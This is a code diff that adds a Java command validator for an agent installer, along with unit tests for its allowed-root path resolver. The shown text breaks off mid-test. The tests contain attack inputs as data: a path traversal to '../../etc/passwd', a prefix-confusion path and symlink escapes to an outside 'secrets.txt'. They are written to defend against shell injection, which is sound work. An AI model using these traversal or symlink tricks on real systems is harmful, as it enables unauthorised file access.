+import java.util.TreeSet;
+
+/**
+ * Structured whitelist validator for raw command strings from {@code 
ModuleConfig}.
+ * Whistlists are resolved by {@link CommandWhitelistResolver}, allowed-root 
checks by
+ * {@link AllowedRootsResolver}.
+ */
+public final class ModuleCommandValidator {
+
+    // -- metacharacter blacklist --
+
+    public static final String RULE_DISALLOWED_META_CHAR = 
"DISALLOWED_META_CHAR";
+    public static final String RULE_NOT_IN_WHITELIST = "NOT_IN_WHITELIST";
+    public static final String RULE_PATH_NOT_UNDER_ALLOWED_ROOT = 
"PATH_NOT_UNDER_ALLOWED_ROOT";
+    public static final String RULE_FORBIDDEN_SH_C_FLAG = 
"FORBIDDEN_SH_C_FLAG";
+    public static final String RULE_EMPTY_COMMAND = "EMPTY_COMMAND";
+
+    private static final Logger LOGGER = 
LoggerFactory.getLogger(ModuleCommandValidator.class);
+
+    private final AllowedRootsResolver allowedRootsResolver;
+    private final CommandWhitelistResolver whitelistResolver;
+
+    /** Construct a validator using baseline whitelists only (no config 
extras). */
+    public ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver) {
+        this.allowedRootsResolver = allowedRootsResolver;
+        this.whitelistResolver = CommandWhitelistResolver.build(null);
+        LOGGER.info("ModuleCommandValidator initialized: argv0Whitelist={}, 
writeLikeCommands={}",
+                new 
TreeSet<>(whitelistResolver.getEffectiveCommandWhitelist()),
+                new 
TreeSet<>(whitelistResolver.getEffectiveWriteLikeCommands()));
+    }
+
+    /** Construct a validator with whitelists extended by the given 
configuration. */
+    public ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver, 
InstallerConfiguration conf) {
+        this.allowedRootsResolver = allowedRootsResolver;
+        this.whitelistResolver = CommandWhitelistResolver.build(conf);
+        // init log already emitted by CommandWhitelistResolver.build()
+    }
+
+    /** Effective argv[0] whitelist enforced at runtime. */
+    public Set<String> getEffectiveCommandWhitelist() {
+        return whitelistResolver.getEffectiveCommandWhitelist();
+    }
+
+    /** Effective write-like set that triggers allowed-root checks at runtime. 
*/
+    public Set<String> getEffectiveWriteLikeCommands() {
+        return whitelistResolver.getEffectiveWriteLikeCommands();
+    }
+
+    /** Validate a raw command string. */
+    public ValidationResult validate(String rawCmd) {
+        if (StringUtils.isBlank(rawCmd)) {
+            return ValidationResult.fail(RULE_EMPTY_COMMAND, rawCmd, "raw 
command is blank");
+        }
+
+        // Scan the whole command for metacharacters first, so a hostile 
sub-command cannot
+        // bypass the check by hiding after ';'.
+        String metaHit = firstMetaCharHit(rawCmd);
+        if (metaHit != null) {
+            String reason = "hit meta char: " + metaHit;
+            if ("*".equals(metaHit) || "?".equals(metaHit)) {
+                reason = reason + " — glob wildcards are not supported (Agent 
runs commands"
+                        + " without a shell, so '*' and '?' will NOT be 
expanded);"
+                        + " please specify explicit file paths";
+            }
+            return ValidationResult.fail(RULE_DISALLOWED_META_CHAR, rawCmd, 
reason);
+        }
+        if (rawCmd.indexOf('\n') >= 0 || rawCmd.indexOf('\r') >= 0) {
+            return ValidationResult.fail(RULE_DISALLOWED_META_CHAR, rawCmd,
+                    "hit line-break char");
+        }
+
+        // Split by ';' into sub-commands, then by '|' into pipe segments, 
then tokenize each
+        // segment into argv. Both splitters honour single/double quotes so a 
';' or '|'
+        // inside quotes is preserved as a literal character, matching how a 
POSIX shell
+        // parses the command line.
+        List<ParsedSubCmd> subs = new ArrayList<>();
+        List<String> segments = splitTopLevel(rawCmd, ';');
+        if (segments == null) {
+            return ValidationResult.fail(RULE_EMPTY_COMMAND, rawCmd,
+                    "unterminated quote in raw command");
+        }
+        for (String seg : segments) {
+            String trimmed = seg == null ? "" : seg.trim();
+            if (trimmed.isEmpty()) {
+                continue;
+            }
+            ParsedSubCmd sub = parseSubCmd(trimmed);
+            if (sub == null) {
+                return ValidationResult.fail(RULE_EMPTY_COMMAND, trimmed,
+                        "sub-command tokenized to empty");
+            }
+            subs.add(sub);
+        }
+        if (subs.isEmpty()) {
+            return ValidationResult.fail(RULE_EMPTY_COMMAND, rawCmd,
+                    "no sub-command after split by ';'");
+        }
+
+        // run the argv[0] whitelist and the argument policy check.
+        for (ParsedSubCmd sub : subs) {
+            ValidationResult r = validateSubCmd(sub);
+            if (!r.isOk()) {
+                return r;
+            }
+        }
+
+        // Absorb 'cd' sub-commands into the working directory of the 
following sub-command.
+        List<ParsedSubCmd> parsed = extractCdAndBind(subs);
+
+        return ValidationResult.ok(parsed);
+    }
+
+    private ValidationResult validateSubCmd(ParsedSubCmd sub) {
+        for (String[] argv : sub.getPipeline()) {
+            if (argv == null || argv.length == 0) {
+                return ValidationResult.fail(RULE_EMPTY_COMMAND, 
sub.getRawSegment(),
+                        "empty pipeline segment");
+            }
+            String cmd = argv[0];
+
+            if 
(!whitelistResolver.getEffectiveCommandWhitelist().contains(cmd)) {
+                return ValidationResult.fail(RULE_NOT_IN_WHITELIST, 
sub.getRawSegment(),
+                        "command '" + cmd + "' is not in whitelist");
+            }
+
+            ValidationResult r = validateArguments(argv, sub.getRawSegment());
+            if (!r.isOk()) {
+                return r;
+            }
+        }
+        return ValidationResult.okPending();
+    }
+
+    private ValidationResult validateArguments(String[] argv, String 
rawSegment) {
+        String cmd = argv[0];
+
+        if ("sh".equals(cmd) || "bash".equals(cmd)) {
+            for (int i = 1; i < argv.length; i++) {
+                if (argv[i].startsWith("-c")) {
+                    return ValidationResult.fail(RULE_FORBIDDEN_SH_C_FLAG, 
rawSegment,
+                            cmd + " must not use -c to run inline scripts");
+                }
+            }
+            String script = firstNonOptionArg(argv);
+            if (looksLikePath(script)) {
+                ValidationResult pathR = checkPathUnderRoot(script, 
rawSegment);
+                if (!pathR.isOk()) {
+                    return pathR;
+                }
+            }
+            return ValidationResult.okPending();
+        }
+
+        if ("cd".equals(cmd)) {
+            if (argv.length < 2) {
+                return ValidationResult.okPending();
+            }
+            return checkPathUnderRoot(argv[1], rawSegment);
+        }
+
+        if (whitelistResolver.getEffectiveWriteLikeCommands().contains(cmd)) {
+            for (int i = 1; i < argv.length; i++) {
+                String arg = argv[i];
+                if (arg.startsWith("-") || !looksLikePath(arg)) {
+                    continue;
+                }
+                ValidationResult pathR = checkPathUnderRoot(arg, rawSegment);
+                if (!pathR.isOk()) {
+                    return pathR;
+                }
+            }
+        }
+
+        return ValidationResult.okPending();
+    }
+
+    private ValidationResult checkPathUnderRoot(String rawPath, String 
rawSegment) {
+        try {
+            String expanded = expandTilde(rawPath);
+            Path p = Paths.get(expanded).toAbsolutePath().normalize();
+            if (!allowedRootsResolver.isUnderAllowedRoot(p)) {
+                return ValidationResult.fail(RULE_PATH_NOT_UNDER_ALLOWED_ROOT, 
rawSegment,
+                        "path '" + rawPath + "' (normalized=" + p + ") is not 
under any allowed root: "
+                                + allowedRootsResolver.getRoots());
+            }
+        } catch (Exception e) {
+            return ValidationResult.fail(RULE_PATH_NOT_UNDER_ALLOWED_ROOT, 
rawSegment,
+                    "path '" + rawPath + "' cannot be normalized: " + 
e.getMessage());
+        }
+        return ValidationResult.okPending();
+    }
+
+    /** Expand a leading {@code ~} on the Java side; {@link ProcessBuilder} 
does not. */
+    public static String expandTilde(String path) {
+        if (path == null) {
+            return null;
+        }
+        String userHome = System.getProperty("user.home");
+        if (StringUtils.isBlank(userHome)) {
+            return path;
+        }
+        if ("~".equals(path)) {
+            return userHome;
+        }
+        if (path.startsWith("~/")) {
+            return userHome + path.substring(1);
+        }
+        return path;
+    }
+
+    /**
+     * Remove {@code cd DIR} sub-commands from the execution sequence and turn 
each of them
+     * into the {@link ParsedSubCmd#workDir} of the sub-commands that follow 
it.
+     *
+     * <p>Semantics: a {@code cd} affects every subsequent sub-command until 
the next
+     * {@code cd} is encountered, matching what a POSIX shell does with a 
single CWD per
+     * session. This means the following raw command runs {@code mkdir} 
<em>and</em>
+     * {@code tar} both inside {@code /opt/packages}:
+     *
+     * <pre>{@code cd /opt/packages ; mkdir -p inlong-agent ; tar -xzvf 
pkg.tar.gz -C inlong-agent}</pre>
+     */
+    public static List<ParsedSubCmd> extractCdAndBind(List<ParsedSubCmd> subs) 
{
+        List<ParsedSubCmd> result = new ArrayList<>(subs.size());
+        File currentWorkDir = null;
+        for (ParsedSubCmd sub : subs) {
+            String[] argv = sub.getPipeline().get(0);
+            if (argv.length >= 1 && "cd".equals(argv[0])) {
+                if (argv.length >= 2) {
+                    String expanded = expandTilde(argv[1]);
+                    currentWorkDir = 
Paths.get(expanded).toAbsolutePath().normalize().toFile();
+                }
+                continue;
+            }
+            if (currentWorkDir != null) {
+                sub.setWorkDir(currentWorkDir);
+            }
+            result.add(sub);
+        }
+        return result;
+    }
+
+    private static ParsedSubCmd parseSubCmd(String segment) {
+        List<String> pipeSegs = splitTopLevel(segment, '|');
+        if (pipeSegs == null) {
+            // unterminated quote within a sub-command; caller treats null as 
empty/invalid.
+            return null;
+        }
+        List<String[]> pipeline = new ArrayList<>(pipeSegs.size());
+        for (String pipeSeg : pipeSegs) {
+            String trimmed = pipeSeg == null ? "" : pipeSeg.trim();
+            if (trimmed.isEmpty()) {
+                return null;
+            }
+            String[] argv = tokenize(trimmed);
+            if (argv.length == 0) {
+                return null;
+            }
+            pipeline.add(argv);
+        }
+        boolean piped = pipeline.size() > 1;
+        return new ParsedSubCmd(pipeline, segment, piped);
+    }
+
+    /**
+     * Quote-aware split of {@code raw} on the top-level {@code delim} 
character. Characters
+     * inside a single-quoted or double-quoted region are treated as literals 
and do not
+     * split the string. Returns {@code null} when the input has an 
unterminated quote so
+     * that the caller can surface a validation error rather than silently 
mis-parse.
+     *
+     * <p>Unlike {@link String#split(String)}, an empty leading, middle or 
trailing region is
+     * preserved in the result so that callers can decide how to handle it.
+     */
+    static List<String> splitTopLevel(String raw, char delim) {
+        List<String> out = new ArrayList<>();
+        if (raw == null) {
+            out.add("");
+            return out;
+        }
+        StringBuilder cur = new StringBuilder();
+        char quote = 0;
+        for (int i = 0; i < raw.length(); i++) {
+            char c = raw.charAt(i);
+            if (quote != 0) {
+                cur.append(c);
+                if (c == quote) {
+                    quote = 0;
+                }
+                continue;
+            }
+            if (c == '\'' || c == '"') {
+                quote = c;
+                cur.append(c);
+                continue;
+            }
+            if (c == delim) {
+                out.add(cur.toString());
+                cur.setLength(0);
+                continue;
+            }
+            cur.append(c);
+        }
+        if (quote != 0) {
+            return null;
+        }
+        out.add(cur.toString());
+        return out;
+    }
+
+    /**
+     * Whitespace-based tokenizer that honours single/double quotes so that 
quoted spaces are
+     * preserved. The metacharacter layer has already rejected backticks, 
{@code $(} and
+     * friends, so no further shell-style escaping is needed here.
+     */
+    private static String[] tokenize(String s) {
+        List<String> tokens = new ArrayList<>();
+        StringBuilder cur = new StringBuilder();
+        char quote = 0;
+        for (int i = 0; i < s.length(); i++) {
+            char c = s.charAt(i);
+            if (quote != 0) {
+                if (c == quote) {
+                    quote = 0;
+                } else {
+                    cur.append(c);
+                }
+                continue;
+            }
+            if (c == '\'' || c == '"') {
+                quote = c;
+                continue;
+            }
+            if (Character.isWhitespace(c)) {
+                if (cur.length() > 0) {
+                    tokens.add(cur.toString());
+                    cur.setLength(0);
+                }
+                continue;
+            }
+            cur.append(c);
+        }
+        if (cur.length() > 0) {
+            tokens.add(cur.toString());
+        }
+        return tokens.toArray(new String[0]);
+    }
+
+    private static String firstMetaCharHit(String raw) {
+        for (String meta : CommandWhitelistResolver.META_CHAR_BLACKLIST) {
+            if (raw.contains(meta)) {
+                return meta;
+            }
+        }
+        return null;
+    }
+
+    private static String firstNonOptionArg(String[] argv) {
+        for (int i = 1; i < argv.length; i++) {
+            if (!argv[i].startsWith("-")) {
+                return argv[i];
+            }
+        }
+        return null;
+    }
+
+    /** {@code true} when the argument looks like a path 
(absolute/relative/contains {@code /}/starts with {@code ~}). */
+    private static boolean looksLikePath(String arg) {
+        if (arg == null || arg.isEmpty()) {
+            return false;
+        }
+        return arg.startsWith("/") || arg.startsWith("~") || 
arg.startsWith("./") || arg.startsWith("../")
+                || arg.contains("/");
+    }
+
+    /**
+     * A single sub-command produced by splitting the raw command on {@code 
;}. It may contain
+     * multiple pipe segments produced by splitting on {@code |}.
+     */
+    @Getter
+    public static final class ParsedSubCmd {
+
+        private final List<String[]> pipeline;
+        private final String rawSegment;
+        private final boolean piped;
+        private File workDir;
+        private boolean allowFailure;
+        private boolean pipedThroughShell;
+
+        public ParsedSubCmd(List<String[]> pipeline, String rawSegment, 
boolean piped) {
+            this.pipeline = pipeline;
+            this.rawSegment = rawSegment;
+            this.piped = piped;
+        }
+
+        /** Return the argv of a plain sub-command, or the argv of the first 
pipe segment. */
+        public String[] getArgv() {
+            return pipeline.get(0);
+        }
+
+        public void setWorkDir(File workDir) {
+            this.workDir = workDir;
+        }
+
+        public void setAllowFailure(boolean allowFailure) {
+            this.allowFailure = allowFailure;
+        }
+
+        public void setPipedThroughShell(boolean pipedThroughShell) {
+            this.pipedThroughShell = pipedThroughShell;
+        }
+
+        @Override
+        public String toString() {
+            List<List<String>> readable = new ArrayList<>(pipeline.size());
+            for (String[] seg : pipeline) {
+                readable.add(Arrays.asList(seg));
+            }
+            return "ParsedSubCmd{pipeline=" + readable + ", workDir=" + 
workDir + "}";
+        }
+    }
+
+    /**
+     * Validation result. When {@link #isOk()} is {@code true}, {@link 
#getParsed()} returns
+     * the split sub-commands ready for execution; otherwise {@link 
#getRuleName()},
+     * {@link #getFailedSubCmd()} and {@link #getMessage()} describe the 
failure.
+     */
+    @Getter
+    public static final class ValidationResult {
+
+        private static final ValidationResult OK_PENDING = new 
ValidationResult(true, null, null, null,
+                Collections.<ParsedSubCmd>emptyList());
+
+        private final boolean ok;
+        private final String ruleName;
+        private final String failedSubCmd;
+        private final String message;
+        private final List<ParsedSubCmd> parsed;
+
+        private ValidationResult(boolean ok, String ruleName, String 
failedSubCmd, String message,
+                List<ParsedSubCmd> parsed) {
+            this.ok = ok;
+            this.ruleName = ruleName;
+            this.failedSubCmd = failedSubCmd;
+            this.message = message;
+            this.parsed = parsed;
+        }
+
+        static ValidationResult ok(List<ParsedSubCmd> parsed) {
+            return new ValidationResult(true, null, null, null, 
Collections.unmodifiableList(parsed));
+        }
+
+        /**
+         * Internal marker returned when a single sub-command has passed but 
the whole command
+         * is still being aggregated.
+         */
+        static ValidationResult okPending() {
+            return OK_PENDING;
+        }
+
+        static ValidationResult fail(String ruleName, String failedSubCmd, 
String message) {
+            LOGGER.debug("ModuleCommandValidator reject: rule={}, sub={}, 
msg={}",
+                    ruleName, failedSubCmd, message);
+            return new ValidationResult(false, ruleName, failedSubCmd, message,
+                    Collections.<ParsedSubCmd>emptyList());
+        }
+
+        @Override
+        public String toString() {
+            return ok ? ("ValidationResult{ok=true, parsed=" + parsed + "}")
+                    : ("ValidationResult{ok=false, rule=" + ruleName + ", 
failedSubCmd=" + failedSubCmd
+                            + ", msg=" + message + "}");
+        }
+    }
+}
diff --git 
a/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java
 
b/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java
new file mode 100644
index 0000000000..0f2a788a51
--- /dev/null
+++ 
b/inlong-agent/agent-installer/src/test/java/installer/AllowedRootsResolverTest.java
@@ -0,0 +1,525 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package installer;
+
+import org.apache.inlong.agent.constant.AgentConstants;
+import org.apache.inlong.agent.installer.conf.InstallerConfiguration;
+import org.apache.inlong.agent.installer.validator.AllowedRootsResolver;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.Comparator;
+import java.util.Set;
+import java.util.stream.Stream;
+
+/**
+ * Unit tests for {@link AllowedRootsResolver}. This class is the last line of 
the shell
+ * injection defence chain: {@code ModuleCommandValidator} ultimately 
delegates every path
+ * check to {@link AllowedRootsResolver#isUnderAllowedRoot(Path)}. The tests 
below pin the
+ * behaviours that are easy to break silently during refactors:
+ *
+ * <ul>
+ *   <li>path traversal (e.g. {@code root/../etc}) is defeated by {@link 
Path#normalize()};</li>
+ *   <li>prefix confusion (e.g. {@code /home/user/inlong-agent-evil} vs
+ *       {@code /home/user/inlong-agent}) is defeated because {@link 
Path#startsWith(Path)}
+ *       compares by segments, not by string prefix;</li>
+ *   <li>the {@code agent.home} resolution order &mdash; system property 
first, configuration
+ *       override second &mdash; behaves as documented;</li>
+ *   <li>{@code installer.command.extraAllowedRoots} CSV parsing skips blank 
items;</li>
+ *   <li>null / blank inputs and {@code conf == null} are handled without 
throwing.</li>
+ * </ul>
+ */
+public class AllowedRootsResolverTest {
+
+    private String savedAgentHomeSysProp;
+    private String savedAgentHomeConf;
+    private String savedExtraRootsConf;
+
+    @Before
+    public void setUp() {
+        // Snapshot the system property and any conf entries the tests may 
mutate, so we can
+        // restore them in @After. This keeps the shared 
InstallerConfiguration singleton
+        // clean for every subsequent test.
+        savedAgentHomeSysProp = System.getProperty(AgentConstants.AGENT_HOME);
+        InstallerConfiguration conf = 
InstallerConfiguration.getInstallerConf();
+        savedAgentHomeConf = conf.get(AgentConstants.AGENT_HOME, null);
+        savedExtraRootsConf = 
conf.get(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, null);
+    }
+
+    @After
+    public void tearDown() {
+        // Restore agent.home system property.
+        if (savedAgentHomeSysProp == null) {
+            System.clearProperty(AgentConstants.AGENT_HOME);
+        } else {
+            System.setProperty(AgentConstants.AGENT_HOME, 
savedAgentHomeSysProp);
+        }
+        // Restore conf entries. AbstractConfiguration#set(key, null) removes 
the entry.
+        InstallerConfiguration conf = 
InstallerConfiguration.getInstallerConf();
+        conf.set(AgentConstants.AGENT_HOME, savedAgentHomeConf);
+        conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, 
savedExtraRootsConf);
+    }
+
+    @Test
+    public void ofPaths_rootItselfAndChildren_shouldMatch() {
+        Path root = Paths.get(System.getProperty("java.io.tmpdir"), 
"inlong-test-root");
+        AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+        Assert.assertTrue("root itself should match", 
resolver.isUnderAllowedRoot(root));
+        Assert.assertTrue("direct child should match",
+                resolver.isUnderAllowedRoot(root.resolve("child")));
+        Assert.assertTrue("nested descendant should match",
+                resolver.isUnderAllowedRoot(root.resolve("a/b/c")));
+    }
+
+    @Test
+    public void ofPaths_siblingPath_shouldNotMatch() {
+        Path root = Paths.get(System.getProperty("java.io.tmpdir"), 
"inlong-test-root");
+        Path sibling = Paths.get(System.getProperty("java.io.tmpdir"), 
"inlong-test-other");
+        AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+        Assert.assertFalse("sibling directory must not match",
+                resolver.isUnderAllowedRoot(sibling));
+    }
+
+    /**
+     * Path traversal: {@code root/../etc} normalises to {@code /etc} which is 
outside every
+     * allowed root. Regressing this check would neutralise the whole 
shell-injection defence.
+     */
+    @Test
+    public void pathTraversal_shouldNotMatch() {
+        Path root = Paths.get(System.getProperty("java.io.tmpdir"), 
"inlong-test-root");
+        AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+        Path traversal = root.resolve("../../etc/passwd");
+        Assert.assertFalse("traversal path must be rejected after normalize()",
+                resolver.isUnderAllowedRoot(traversal));
+    }
+
+    /**
+     * Prefix confusion: {@code /home/user/inlong-agent-evil} shares a string 
prefix with
+     * {@code /home/user/inlong-agent} but is a different path segment; {@link 
Path#startsWith}
+     * must reject it. If a future refactor swaps the check for {@link 
String#startsWith} the
+     * test below fails.
+     */
+    @Test
+    public void prefixConfusion_shouldNotMatch() {
+        Path root = Paths.get("/home/user/inlong-agent");
+        Path evil = Paths.get("/home/user/inlong-agent-evil/x");
+        AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+        Assert.assertFalse("path with same string prefix but different segment 
must be rejected",
+                resolver.isUnderAllowedRoot(evil));
+    }
+
+    @Test
+    public void nullInput_shouldReturnFalse() {
+        AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(
+                Paths.get(System.getProperty("java.io.tmpdir")));
+        Assert.assertFalse(resolver.isUnderAllowedRoot(null));
+    }
+
+    @Test
+    public void build_defaultRoots_shouldContainUserHomeAndTmp() {
+        // Ensure agent.home is not set from either source, so only the 
guaranteed defaults
+        // (user.home/inlong, user.home/inlong-agent, java.io.tmpdir) are 
added.
+        System.clearProperty(AgentConstants.AGENT_HOME);
+        InstallerConfiguration conf = 
InstallerConfiguration.getInstallerConf();
+        conf.set(AgentConstants.AGENT_HOME, null);
+        conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, null);
+
+        AllowedRootsResolver resolver = AllowedRootsResolver.build(conf);
+        Set<Path> roots = resolver.getRoots();
+
+        String userHome = System.getProperty("user.home");
+        String tmpDir = System.getProperty("java.io.tmpdir");
+        Assert.assertTrue("expected " + userHome + "/inlong in " + roots,
+                roots.contains(Paths.get(userHome, 
"inlong").toAbsolutePath().normalize()));
+        Assert.assertTrue("expected " + userHome + "/inlong-agent in " + roots,
+                roots.contains(Paths.get(userHome, 
"inlong-agent").toAbsolutePath().normalize()));
+        Assert.assertTrue("expected java.io.tmpdir in " + roots,
+                
roots.contains(toRealOrNormalized(Paths.get(tmpDir).toAbsolutePath())));
+    }
+
+    /**
+     * When {@code -Dagent.home} is set on the JVM (as {@code bin/*.sh} does 
via
+     * {@code BASE_DIR=$(cd "$(dirname "$0")"/../;pwd)}), it becomes an 
allowed root even when
+     * the configuration file does not mention it.
+     */
+    @Test
+    public void build_agentHomeFromSystemProperty_shouldBeAdded() {
+        String appHome = Paths.get(System.getProperty("java.io.tmpdir"), 
"app-home-sys")
+                .toAbsolutePath().normalize().toString();
+        System.setProperty(AgentConstants.AGENT_HOME, appHome);
+        InstallerConfiguration conf = 
InstallerConfiguration.getInstallerConf();
+        conf.set(AgentConstants.AGENT_HOME, null);
+
+        AllowedRootsResolver resolver = AllowedRootsResolver.build(conf);
+        Assert.assertTrue("agent.home from -D should be added: " + 
resolver.getRoots(),
+                resolver.getRoots().contains(Paths.get(appHome)));
+    }
+
+    /**
+     * Configuration entry overrides the {@code -Dagent.home} system property. 
This mirrors
+     * the documented resolution order: system property first, config override 
second.
+     */
+    @Test
+    public void build_agentHomeConfOverridesSystemProperty() {
+        String fromSys = Paths.get(System.getProperty("java.io.tmpdir"), 
"app-home-sys")
+                .toAbsolutePath().normalize().toString();
+        String fromConf = Paths.get(System.getProperty("java.io.tmpdir"), 
"app-home-conf")
+                .toAbsolutePath().normalize().toString();
+        System.setProperty(AgentConstants.AGENT_HOME, fromSys);
+        InstallerConfiguration conf = 
InstallerConfiguration.getInstallerConf();
+        conf.set(AgentConstants.AGENT_HOME, fromConf);
+
+        AllowedRootsResolver resolver = AllowedRootsResolver.build(conf);
+        Set<Path> roots = resolver.getRoots();
+        Assert.assertTrue("conf value should be present: " + roots,
+                roots.contains(Paths.get(fromConf)));
+        Assert.assertFalse("system property value should have been overridden: 
" + roots,
+                roots.contains(Paths.get(fromSys)));
+    }
+
+    /**
+     * When neither the system property nor the configuration key is set, the 
resolver still
+     * builds successfully and simply skips the {@code agent.home} root. Other 
defaults must
+     * remain available.
+     */
+    @Test
+    public void build_noAgentHome_shouldSkipWithoutError() {
+        System.clearProperty(AgentConstants.AGENT_HOME);
+        InstallerConfiguration conf = 
InstallerConfiguration.getInstallerConf();
+        conf.set(AgentConstants.AGENT_HOME, null);
+
+        AllowedRootsResolver resolver = AllowedRootsResolver.build(conf);
+        // At minimum the tmpdir default should still be there.
+        Assert.assertTrue(resolver.getRoots().contains(
+                
toRealOrNormalized(Paths.get(System.getProperty("java.io.tmpdir")).toAbsolutePath())));
+    }
+
+    /**
+     * {@code conf == null} must not throw; the resolver falls back to system 
property /
+     * environment defaults only.
+     */
+    @Test
+    public void build_nullConf_shouldFallBackToDefaultsOnly() {
+        System.clearProperty(AgentConstants.AGENT_HOME);
+        AllowedRootsResolver resolver = AllowedRootsResolver.build(null);
+        Assert.assertFalse("default roots should not be empty", 
resolver.getRoots().isEmpty());
+    }
+
+    @Test
+    public void build_extraAllowedRoots_shouldSplitAndTrim() {
+        String tmp = System.getProperty("java.io.tmpdir");
+        String extra = "/opt/inlong, " + tmp + "/data ,, "; // includes blanks 
& empty item
+        InstallerConfiguration conf = 
InstallerConfiguration.getInstallerConf();
+        conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, extra);
+
+        AllowedRootsResolver resolver = AllowedRootsResolver.build(conf);
+        Set<Path> roots = resolver.getRoots();
+        Assert.assertTrue("expected /opt/inlong to be added: " + roots,
+                
roots.contains(Paths.get("/opt/inlong").toAbsolutePath().normalize()));
+        Assert.assertTrue("expected trimmed second entry to be added: " + 
roots,
+                roots.contains(Paths.get(tmp, 
"data").toAbsolutePath().normalize()));
+    }
+
+    @Test
+    public void build_extraAllowedRoots_blankValue_shouldBeIgnored() {
+        InstallerConfiguration conf = 
InstallerConfiguration.getInstallerConf();
+        conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, "   ");
+        // Should not throw; simply produces the default root set.
+        AllowedRootsResolver resolver = AllowedRootsResolver.build(conf);
+        Assert.assertFalse(resolver.getRoots().isEmpty());
+    }
+
+    // ------------------------------------------------------------------
+    // Symlink bypass defence
+    // ------------------------------------------------------------------
+
+    /**
+     * When a path exists, {@link 
AllowedRootsResolver#isUnderAllowedRoot(Path)} must use
+     * {@code Path#toRealPath()} to defeat symlink-based bypass. A symlink 
inside the allowed
+     * root that points outside must not grant access to the outside target.
+     */
+    @Test
+    public void symlinkBypass_existingPath_shouldBeRejected() throws 
IOException {
+        Path base = Files.createTempDirectory("allowedroot-test-");
+        try {
+            Path root = base.resolve("safe");
+            Files.createDirectory(root);
+
+            // Create a directory outside the allowed root.
+            Path outside = base.resolve("outside");
+            Files.createDirectory(outside);
+            Files.createFile(outside.resolve("secrets.txt"));
+
+            // Create a symlink inside the root pointing to the outside dir.
+            Path symlink = root.resolve("workspace");
+            Files.createSymbolicLink(symlink, outside);
+
+            AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+            // workspace/secrets.txt → outside/secrets.txt (outside root) → 
must reject.
+            Path evilPath = symlink.resolve("secrets.txt");
+            Assert.assertTrue("should exist for this test", 
Files.exists(evilPath));
+            Assert.assertFalse("symlink to outside root must be rejected for 
existing path",
+                    resolver.isUnderAllowedRoot(evilPath));
+        } finally {
+            deleteRecursively(base);
+        }
+    }
+
+    /**
+     * When the target path does not exist yet (e.g. a {@code mkdir} payload) 
but an ancestor
+     * directory is a symlink pointing outside the allowed root, the resolver 
must walk up to
+     * the nearest existing parent, resolve its real path, and reject the 
spliced result.
+     */
+    @Test
+    public void symlinkBypass_nonExistingPath_shouldBeRejected() throws 
IOException {
+        Path base = Files.createTempDirectory("allowedroot-test-");
+        try {
+            Path root = base.resolve("safe");
+            Files.createDirectory(root);
+
+            // Outside directory acting as the symlink target.
+            Path outside = base.resolve("outside");
+            Files.createDirectory(outside);
+
+            // Symlink inside the allowed root → outside directory.
+            Path symlink = root.resolve("workspace");
+            Files.createSymbolicLink(symlink, outside);
+
+            AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+            // workspace/malicious does not exist; workspace → outside → 
parent resolves
+            // to outside, remainder = malicious, must be rejected.
+            Path nonExistent = symlink.resolve("malicious");
+            Assert.assertFalse("should not exist for this test", 
Files.exists(nonExistent));
+            Assert.assertFalse("symlink parent pointing outside root must be 
rejected for non-existing path",
+                    resolver.isUnderAllowedRoot(nonExistent));
+        } finally {
+            deleteRecursively(base);
+        }
+    }
+
+    /**
+     * A non-existent path whose existing ancestors are all genuine (no 
symlink) and lie
+     * under the allowed root must be accepted &mdash; this is the normal 
{@code mkdir} case.
+     */
+    @Test
+    public void nonExistingPath_underGenuineRoot_shouldBeAccepted() throws 
IOException {
+        Path base = Files.createTempDirectory("allowedroot-test-");
+        try {
+            Path root = base.resolve("safe");
+            Files.createDirectory(root);
+
+            AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+            // safe/new_dir does not exist, parent "safe" is genuine → must 
accept.
+            Path newDir = root.resolve("new_dir");
+            Assert.assertFalse("should not exist for this test", 
Files.exists(newDir));
+            Assert.assertTrue("non-existent path under genuine root must be 
accepted",
+                    resolver.isUnderAllowedRoot(newDir));
+        } finally {
+            deleteRecursively(base);
+        }
+    }
+
+    /**
+     * When no part of the path exists at all (including every ancestor up to 
the root),
+     * the resolver falls back to {@link Path#normalize()} and must still 
reject traversal
+     * attempts.
+     */
+    @Test
+    public void fullyNonExistentPath_shouldFallBackToNormalize() throws 
IOException {
+        Path base = Files.createTempDirectory("allowedroot-test-");
+        try {
+            Path root = base.resolve("safe");
+            Files.createDirectory(root);
+
+            AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+
+            // /tmp/.../completely/nowhere does not exist and neither does any 
ancestor.
+            // Fallback to normalize: "../evil" resolves to outside root → 
reject.
+            Path nonExistent = base.resolve("completely/nowhere/../evil");
+            Assert.assertFalse("should not exist for this test", 
